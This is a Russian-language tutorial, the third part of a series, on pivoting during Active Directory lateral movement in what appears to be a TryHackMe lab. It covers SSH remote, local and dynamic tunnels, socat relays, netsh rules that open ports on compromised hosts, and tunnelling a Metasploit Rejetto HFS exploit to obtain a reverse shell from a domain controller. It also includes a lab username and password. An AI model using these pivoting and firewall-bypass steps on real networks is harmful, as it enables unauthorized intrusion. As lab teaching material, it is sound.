Lateral Movement and Pivoting, part 3

Всем привет!

Это третья и заключительная часть статьи, посвященной горизонтальному перемещению Active Directory. В ней мы подробно поговорим про pivoting, методы переадресации портов и получения доступа к скрытым на брандмауэром службам.

Первая и вторая части статьи доступны по ссылке ниже:

Продолжим!

Схема сети осталась без изменений и изображена на рисунке ниже:

Pivoting

Port Forwarding

Большинство рассмотренных ранее методов горизонтального перемещения требуют, чтобы злоумышленнику были доступны определенные порты. В реальных сетях администраторы могут заблокировать некоторые из этих портов из соображений безопасности или внедрить сегментацию по сети, не позволяя получить доступ к портам SMB, RDP, WinRM или RPC.

Чтобы обойти эти ограничения, мы можем использовать методы переадресации портов, которые заключаются в использовании любого скомпрометированного хоста в качестве шлюза для доступа к другим хостам. Некоторые машины будут иметь больше сетевых разрешений, всё зависит от их роли, и некоторые сетевые службы на них требуются для повседневной работы.

SSH-туннелирование

Первый протокол, который мы рассмотрим, — это SSH, так как он уже имеет встроенную функциональность для переадресации портов с помощью функции под названием SSH Tunneling . Раньше SSH был протоколом, связанным с системами Linux, но теперь Windows по умолчанию поставляется с клиентом OpenSSH, поэтому его можно найти его во многих системах в настоящее время, независимо от их операционной системы.

SSH-туннелирование можно использовать по-разному для переадресации портов через SSH-соединение, которое мы будем использовать в зависимости от ситуации. Давайте предположим сценарий, в котором мы получили контроль над компьютером PC-1 (это не обязательно должен быть доступ администратора) и хотели бы использовать его в качестве шлюза для доступа к порту на другом компьютере, к которому мы не можем подключиться напрямую. Мы запустим туннель от машины PC-1, выступающей в роли SSH-клиента, к атакующей машине, который будет выступать в роли SSH-сервера. Логика именно такая, так как, SSH-клиент на компьютерах с Windows будет встречаться часто, а SSH-сервер может быть недоступен.

Поскольку мы будем устанавливать обратное соединение с атакующей машиной, мы должны создать на ней пользователя без доступа к какой-либо консоли для туннелирования и установить пароль, который будет использоваться для создания туннелей:

useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser

В зависимости от потребностей туннель SSH можно использовать для локальной или удаленной переадресации портов. Давайте рассмотрим каждый случай.

SSH Remote Port Forwarding

Предположим, что политики брандмауэра блокируют прямой доступ машины злоумышленника к порту 3389 на сервере. Если злоумышленник ранее скомпрометировал PC-1 и, в свою очередь, PC-1 имеет доступ к порту 3389 сервера, его можно использовать для пивотинга к порту 3389 сервера с помощью удаленной переадресации портов с PC-1. SSH Remote Port Forwarding позволяет атакующему взять доступный порт у клиента SSH (в данном случае PC-1) и спроецировать его на удаленный сервер SSH (машину злоумышленника).

В результате на машине злоумышленника будет открыт порт, который можно использовать для подключения к порту 3389 на сервере через туннель SSH . PC-1, в свою очередь, будет проксировать соединение, чтобы сервер видел весь трафик, как если бы он исходил от PC-1:

Уместный вопрос, который может возникнуть к этому моменту, заключается в том, зачем нам нужна переадресация портов, если мы скомпрометировали PC-1 и можем запускать сеанс RDP прямо оттуда. Ответ прост: в ситуации, когда у нас есть только консольный доступ к PC-1, мы не сможем использовать какой-либо RDP-клиент, поскольку у нас нет графического интерфейса. Сделав порт доступным для компьютера злоумышленника, вы можете использовать клиент RDP под Linux для подключения.

Ссылаясь на рисунок выше, чтобы перенаправить порт 3389 на сервере обратно на машину злоумышленника, мы можем использовать следующую команду на PC-1:

ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N

Это установит сеанс SSH с ПК-1 на 1.1.1.1 (компьютер атакующего) с использованием пользователя tunneluser.

Поскольку у tunneluser нет прав запускать оболочку на атакующем ПК, нам нужно запустить ssh с параметром -N, чтобы клиент не запрашивал оболочку, иначе соединение немедленно прервется. -R используется для запроса переадресации удаленного порта, и синтаксис требует, чтобы мы сначала указали порт, который мы будем открывать на сервере SSH (3389), затем IP и порт сокета, который мы будем переадресовывать (3.3.3.3:3389). Номера портов не обязательно должны совпадать, хотя в этом примере они совпадают.

Сама команда ничего не выводит. В любое время мы можем закрыть туннель, нажав CTRL+C.

После того, как наш туннель настроен и запущен, мы можем перейти к машине злоумышленника и начать сессию RDP на перенаправленный порт, чтобы добраться до сервера:

xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword

SSH Local Port Forwarding

Локальная переадресация портов позволяет нам «подтянуть» порт с SSH-сервера к SSH-клиенту. В нашем сценарии это можно использовать для того, чтобы взять любую службу, доступную на машине злоумышленника, и сделать ее доступной через порт на PC-1. Таким образом, любой хост, который не может подключиться напрямую к ПК злоумышленника, но может подключиться к PC-1, теперь сможет получить доступ к службам злоумышленника через опорный хост.

Использование этого типа переадресации портов позволит нам запускать обратные оболочки с хостов, которые обычно не могут подключиться к нам, или просто сделать любой сервис, доступным для машин, которые не имеют прямого подключения к нам.

Чтобы переадресовать порт 80 с машины злоумышленника и сделать его доступным с PC-1, мы можем запустить следующую команду на PC-1:

ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N

Структура команды похожа на ту, которая используется для переадресации удаленного порта, но использует параметр -L для переадресации локального порта. Эта опция требует, чтобы мы указали локальный сокет, используемый PC-1 для получения соединений (*:80), и удаленный сокет для подключения с точки зрения ПК атакующего ( 127.0.0.1:80).

Мы используем IP-адрес 127.0.0.1 во втором сокете, так как с точки зрения ПК злоумышленника это интерфейс, на котором опубликован 80 порт для переадресации.

Поскольку мы открываем новый порт на PC-1, нам может потребоваться добавить правило брандмауэра, разрешающее входящие соединения (с dir=in). Для этого необходимы административные привилегии:

netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

После того, как туннель настроен, любой пользователь, указывающий в своем браузере http://2.2.2.2:80, увидит веб-сайт, опубликованный на машине злоумышленника.

Port Forwarding With socat

В ситуациях, когда SSH недоступен, для выполнения аналогичных функций можно использовать socat. Хотя socat не такой гибкий, как SSH, он позволяет перенаправлять порты гораздо проще. Один из недостатков использования socat заключается в том, что нам нужно перенести его на главный хост (PC-1 в примере), что делает его более обнаруживаемым, чем SSH. Но, возможно, это стоит попробовать, когда нет другого варианта.

Базовый синтаксис для переадресации портов с помощью socat намного проще. Если бы мы хотели открыть порт 1234 на хосте и перенаправить любое соединение, которое мы получаем там, на порт 4321 на хосте 1.1.1.1, у вас была бы следующая команда:

socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321

Опция fork позволяет socat создавать новый процесс для каждого полученного соединения, что позволяет обрабатывать несколько соединений без закрытия. Если его не включить, socat закроется, когда будет завершено первое установленное соединение.

Возвращаясь к примеру, если бы мы хотели получить доступ к порту 3389 на сервере, используя PC-1 в качестве точки опоры (как мы делали с переадресацией удаленного порта SSH), мы могли бы использовать следующую команду на PC-1:

socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389

Socat не может перенаправить соединение напрямую на машину злоумышленника, как это сделал SSH, но он откроет порт на PC-1, к которому затем сможет подключиться злоумышленник:

Поскольку порт открывается на захваченном хосте, может потребоваться создание правила брандмауэра, разрешающего любые подключения к этому порту:

netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389

Если, с другой стороны, мы хотим открыть порт 80 на машине злоумышленника, чтобы он был доступен серверу, нам нужно немного изменить команду:

socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80

В результате ПК-1 создаст порт 80 и будет прослушивать соединения, которые будут перенаправлены на порт 80 на машине злоумышленника:

Dynamic Port Forwarding и SOCKS

Хотя переадресация одного порта работает достаточно хорошо для задач, требующих доступа к определенным сокетам, бывают случаи, когда нам может потребоваться запустить сканирование многих портов хоста или даже многих портов на многих машинах через захваченный узел. В этих случаях именно динамическая переадресация портов позволяет нам устанавливать несколько подключений к любым IP-адресам/портам, которые мы хотим, с помощью прокси-сервера SOCKS .

Поскольку мы не хотим полагаться на SSH-сервер, существующий на компьютерах Windows в нашей целевой сети, лучше всего использовать SSH-клиент для установки обратной динамической переадресации портов с помощью следующей команды на PC-1:

ssh tunneluser@1.1.1.1 -R 9050 -N

В этом случае SSH- сервер запустит SOCKS-прокси на порту 9050 и перенаправит любой запрос на подключение через SSH- туннель, где они проксируются SSH-клиентом.

Самое интересное, что мы можем легко использовать любой из наших инструментов через прокси-сервер SOCKS с помощью proxychains . Для этого нам сначала нужно убедиться, что proxychains правильно настроен, чтобы направлять любое соединение на тот же порт, который использует SSH для прокси-сервера SOCKS. Файл конфигурации proxychains можно найти по пути /etc/proxychains.conf. Если прокрутить вниз до конца файла конфигурации, можно увидеть строку, указывающую порт, используемый для проксирования socks:

[ProxyList]
socks4  127.0.0.1 9050

Порт по умолчанию — 9050, но будет работать любой порт, если он соответствует тому, который мы использовали при установке туннеля SSH .

Если мы сейчас хотим выполнить какую-либо команду через прокси, мы можем использовать proxychains:

proxychains curl http://pxeboot.za.tryhackme.com

Некоторые программы, такие как nmap, в некоторых случаях могут плохо работать с SOCKS и показывать неверные результаты.

Приступим к практике!

Подключиться к THMJMP2, используя учетные данные из прошлых задач. Нашей первой задачей будет подключение через RDP к THMIIS. Если мы попытаемся подключиться напрямую с нашей атакующей машины, мы обнаружим, что порт 3389 был отфильтрован через брандмауэр и поэтому недоступен напрямую. Однако порт запущен и работает, но доступ к нему возможен только из THMJMP2. Используя socat, доступный на THMJMP2, мы переадресуем порт RDP, чтобы сделать его доступным на THMJMP2 для подключения с атакующей машины.

Для этого мы запустим socat со следующими параметрами:

C:\tools\socat\>socat TCP4-LISTEN:13389,fork TCP4:THMIIS.za.tryhackme.com:3389

Мы не можем использовать порт 3389 для нашего листенера, так как он уже используется THMJMP2 для собственной службы RDP. После того, как прослушиватель настроен, вы сможете подключиться к THMIIS через RDP с машины злоумышленника, перейдя через прослушиватель socat на THMJMP2:

xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020

Подключение к удалённому хосту через туннель

Туннеллируем сложные эксплойты

На сервере THMDC работает уязвимая версия Rejetto HFS. Проблема, с которой мы столкнулись, заключается в том, что правила брандмауэра ограничивают доступ к уязвимому порту, чтобы его можно было просмотреть только из THMJMP2. Кроме того, исходящие подключения от THMDC разрешены только машинам в его локальной сети, что делает невозможным получение обратного шелла непосредственно на машину злоумышленника. Что еще хуже, эксплойт Rejetto HFS требует, чтобы злоумышленник разместил HTTP-сервер для запуска окончательной полезной нагрузки, но, поскольку исходящие подключения к машине злоумышленника запрещены, нам нужно найти способ разместить веб-сервер в одном из остальные машины в той же сети, что совсем не удобно. В данном случае мы можем использовать переадресацию портов, чтобы преодолеть все эти проблемы.

Давайте посмотрим, как работает эксплойт. Во-первых, он подключится к порту HFS (RPORT), чтобы запустить второе соединение. Это второе соединение будет установлено с компьютером злоумышленника на SRVPORT, где веб-сервер доставит окончательную полезную нагрузку. Наконец, полезная нагрузка злоумышленника выполнится и отправит обратно атакующему шелл на LPORT:

Имея это в виду, мы можем использовать SSH для перенаправления некоторых портов с машины злоумышленника на THMJMP2 (SRVPORT для веб-сервера и LPORT для получения обратного шелла) и выполнить pivot через THMJMP2 для доступа к RPORT на THMDC. Нам нужно будет сделать три переадресации портов в обоих направлениях, чтобы все взаимодействия эксплойта можно было проксировать через THMJMP2:

Rejetto HFS будет прослушивать порт 80 на THMDC, поэтому нам нужно туннелировать этот порт обратно на машину злоумышленника через THMJMP2, используя удаленную переадресацию портов. Поскольку порт 80 атакующего устройства занят другой службой, нам нужно связать порт 80 на THMDC с некоторым портом, который в настоящее время не используется атакующим устройством. Давайте использовать порт 8888. При запуске ssh в THMJMP2 для переадресации этого порта нам нужно будет добавить -R 8888:thmdc.za.tryhackme.com:80 в нашу команду.

Для SRVPORT и LPORT выберем два случайных порта по желанию. В демонстрационных целях мы установим SRVPORT=6666и LPORT=7878. Чтобы перенаправить такие порты с машины злоумышленника на THMJMP2, мы будем использовать переадресацию локальных портов, добавив -L *:6666:127.0.0.1:6666 и -L *:7878:127.0.0.1:7878 к нашей команде ssh. Это свяжет оба порта на THMJMP2 и туннелирует любое соединение обратно на нашу машину злоумышленника.

Собрав команду воедино, получим следующее (выполняется на THMJMP2):

ssh tunneluser@10.50.77.73 -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N

После того, как все перенаправления портов установлены, мы можем запустить Metasploit и настроить эксплойт так, чтобы требуемые порты соответствовали тем, которые мы переадресовали через THMJMP2:

Здесь есть что разъяснить:

Параметр LHOST обычно служит двум целям: он используется в качестве IP-адреса, когда листенер запускается на машине злоумышленника для получения обратного шелла; он также встроен в полезную нагрузку, чтобы жертва знала, куда подключиться, когда эксплойт сработает. В нашем конкретном сценарии, поскольку THMDC не сможет связаться с нами, нам нужно заставить полезную нагрузку подключиться обратно к THMJMP2, но нам нужно, чтобы слушатель был запущен на машине злоумышленника на 127.0.0.1. С этой целью Metasploit предоставляет необязательный параметр ReverseListenerBindAddress, который можно использовать для указания адреса привязки листенера на машине злоумышленника отдельно от адреса, по которому полезная нагрузка будет подключаться обратно. В нашем случае мы хотим, чтобы листерен обратного шелла был запущен на 127.0.0.1 на атакующей машине, а полезная нагрузка подключалась обратно к THMJMP2 (поскольку она будет перенаправлена на машину злоумышленника через туннель SSH );
Наш эксплойт также должен запускать веб-сервер для размещения нагрузки и отправлять конечную полезную нагрузку обратно на сервер-жертву. Мы используем SRVHOST для указания адреса прослушивания, который в данном случае равен 127.0.0.1, чтобы машина злоумышленника запустила веб-сервер на локальном хосте. Хотя это может показаться нелогичным, поскольку ни один внешний хост не сможет получить доступ к локальному хосту компьютера злоумышленника, SSH-туннель позаботится о переадресации любого соединения, полученного на THMJMP2 в SRVPORT, обратно на компьютер злоумышленника.
RHOSTS настроен на 127.0.0.1, поскольку SSH-туннель будет пересылать запросы в THMDC через туннель SSH, установленный с помощью THMJMP2. RPORT установлен на 8888, так как любое соединение, отправленное на этот порт на компьютере злоумышленника, будет перенаправлено на порт 80 на THMDC.

Заключение

В этой статье мы обсудили множество способов, которыми злоумышленник может перемещаться по сети, если у него есть набор действительных учетных данных. С точки зрения злоумышленника, наличие как можно большего количества различных методов для выполнения горизонтального перемещения всегда будет полезным, поскольку в разных сетях будут действовать различные ограничения, которые могут блокировать или не блокировать некоторые из методов.

Мы рассмотрели наиболее распространенные методы. Важно понимать, что все, что позволяет нам перемещаться от одного хоста к другому, является горизонтальным перемещением. В зависимости от специфики сети могут быть доступны и другие пути и способы.

Имея первоначальный доступ к одному хосту в сети, в результате у нас получилось скомпрометировать ранее недоступный сервис на контроллере домена. При нахождении способа повысить привилегии такая атака может запросто привести к захвату всего домена.

Ниже представлены ссылки на дополнительные инструменты и методы:

Часть из них я рассматривал в других статьях.